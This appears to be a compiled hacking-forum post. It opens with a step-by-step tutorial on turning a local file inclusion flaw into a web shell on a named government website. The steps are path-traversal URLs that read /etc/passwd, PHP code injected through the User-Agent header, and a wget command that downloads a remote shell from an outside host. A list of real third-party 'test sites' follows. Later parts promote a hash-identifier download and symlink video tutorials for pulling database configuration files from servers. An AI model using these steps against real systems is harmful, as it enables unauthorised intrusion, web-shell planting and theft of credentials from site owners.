LFI TO SHELL TUT

Things you will need:

1) Site vulnerable to LFI ( http://www.bislig.gov.ph )
2) Remote shell ( http://www.sh3ll.org/egy.txt )
3) User-Agent switcher ( https://addons.mozilla.org/en-US/firefox...-switcher/ )
4) Mozilla Firefox

First of all see if your site is vulnerable to LFI (I'm not going to explain how to find it or exploit it)

Try to open etc/passwd

Example:

Code:

http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../etc/passwd

Ok fine...We can open etc/passwd

Now type proc/self/environ

Example:

Code:

http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../proc/self/environ

Now download and install User-Agent switcher.

Go to Tools > Default User-Agent > Edit User Agents
You will get this window.

Now make new user-agent
Go to New > New User-Agent

You will get something like this:

Now leave everything as it is exept description and user-agent.
In description enter name of it (Mine is phpinfo)

In User-Agent paste this in there.

Code:

<?php phpinfo();?>

Select your User-Agent in Tools > Default User Agent > PHP Info (Or whatever you User Agent is called)

Go to your site and refresh it.

You should get something like this in your site.

Now search for "disable_functions" (Ctrl+F Search function)

Mine is

Code:

disable_functions     | no value    | no value

That is good.We can spawn our shell now!

Now go back and edit your User-Agent.

Change "User-Agent" to:

Code:

<?exec('wget http://www.sh3ll.org/egy.txt -O shell.php');?>

(What this function do?. It downloads shell in .txt format and renames it as shell.php)

Save it and refresh your site.

Go to http://www.yourLFIsite.com/shell.php (Mine is http://www.bislig.gov.ph/shell.php )

Voila,we have our shell up.
Enjoy.

TEST SITES

http://hwcf.com.pk/golf/index.php?page=....lf/environ
http://www.lrh.gov.pk/Nursing_School/ind...lf/environ
http://www.aladde.org/index.php?load=../...lf/environ
http://www.findinsl.com/index.php?load=....lf/environ
http://www.holzprof.ee/index.php?action=...lf/environ
http://www.bislig.gov.ph/content1.php?pa...lf/environ
http://www.tendokarate.no/index.php?page...lf/environ
http://www.cranberries-gifts.co.uk/categ...lf/environ

Hash identifier

Well no worries, zerofreak coded an identifier so that it'll ease you through your hash cracking process.

Here's a screenshot:

Features:

1.Can detect most hashes including:

►MD5

►SHA-1

►SHA-256

►SHA-384

►SHA-512

►MySQL

►MySQL 5

►DES(Oracle)

►DES(Unix)

►MD5(Unix)

►MD5(APR)

►MD5(phpBB3)

►MD5(Wordpress)

►SHA-256(Unix)

►SHA-512(Unix)

►MD5(Base-64)

►SHA-1(Base-64)

►SHA-224(Base-64)

►SHA-512(Base-64)

►SHA-256(Base-64)

2. Very easy to use and friendly user interface

Virus Scan:

https://www.virustotal.com/file/7bcb607a...326742610/

And no it's no a virus nor a trojan or any other malicious bullshit

zerofreak be sharing the source code directly after the coming up next version of this app

In the mean time, for those of you who think it's an infection, Run it SandBoxed and see for yourself.

I don't mean to cause any infection to anyone

Screen shot of Sandbox:

Features on the next version:

1. More types of hashes will be added

2. Hashes with Salts identifier

3. Ways on cracking the hash will also be added

4. Hash Cracking tips and websites

Video

http://www.youtube.com/watch?v=5IYZLS8_QRk

Greetz and Shout outs:

Hooded Robin,-Downfall,Zer0Pwn,Haxor,zer0cool,kobez,Dan,

Team Intra,Zer0Lulz,BeggfoMercy

Capt.Morgan,V1PER,~!White!~ VipVince, Intercept,webb,benzi, Techie, Awakened

Hope you guys will find this useful, specially when you web hack

This is 100% coded by zerofreak using VB.Net

Will be coding it on C# for the next upcoming update

zerofreak be sharing the source code soon and to those who are really into coding

Download: Click here

(Mediafire)

Scource:- Hackerzadda   (Note :- All Copy are done with the permission of administrator so no copyright law will not applied on us.)

||SYMLINK VIDEO TUT V3||

Finally i am releasing symlink v3 video with the script for all my readers who have been waiting from some time for this... Your wait is over here it is

Video:-

Video+script
 http://www.mediafire.com/?3d6rbd0da8pbetv
Only Script
http://www.mediafire.com/?lzcq8fwykh3q72
##################################
http://no-one-is-secure.blogspot.com
##################################
Hello guys this is Aditya from no-one-is-secure.blogspot.com
This is my final video on symlink through this video ull learn how to get all database files
on server in on short \m/
Lets rock
create one folder
nw ill upload the script & htacess file
Nw i change the file permission of jaguar.cc to 0755
ok nw ill open & directory hope our script runs ;)
\m/
its running nw lets get all etc/passwd files
Copy & paste all this in our script
Click get config
kk done nw jus go back to folder ver v uploaded the script in my case its abc
wait for few sec or mins :P
Their it is v have got all possible database details  :)
nw wat to do u knw if dnt den pls watch earlier videos
Thnks a lot for watching video

Symlink v1 video tut

Symlink v2 video tut

Scource:- Hackerzadda   (Note :- All Copy are done with the permission of administrator so no copyright law will not applied on us.)

||SYMLINK VIDEO TUT V2||

Hi guys today i have uploaded Symlink video tut V2
Symlink video tut v1 can be found here
http://no-one-is-secure.blogspot.in/2012/04/symlink-video-tut-v1.html
I have kept this video as short as i can
watch it online on youtube.com

Or vimeo.com

http://vimeo.com/3424893
Tools Used in the video
http://www.mediafire.com/?xhuk7f00ccod8l
Password:- avisuni.blogspot.com 

Hope u like it and learn something new
Please fell free to comment for any doubts l

Scource:- Hackerzadda   (Note :- All Copy are done with the permission of administrator so no copyright law will not applied on us.)

||SYMLINK VIDEO TUT V1||

Hi Guys on special demand of my Readers and Followers i am presenting symlink video tut for you
Sorry for video being too long as my net was slow and as it was first video tut on symlink had to describe in detail 
This is just a simple video on symlink  more advanced video will be posted soon
watch it online
http://vimeo.com/341721692

Video is also accepted on securitytube.net
http://www.securitytube.net/video/22613

Njoy the video
Download video (25mb)
http://www.mediafire.com/?x98jxagadx9adw
Tools 
http://www.mediafire.com/?h6auafvd8d4woc

For any doubts fell free to comment

Scource:- Hackerzadda   (Note :- All Copy are done with the permission of administrator so no copyright law will not applied on us.)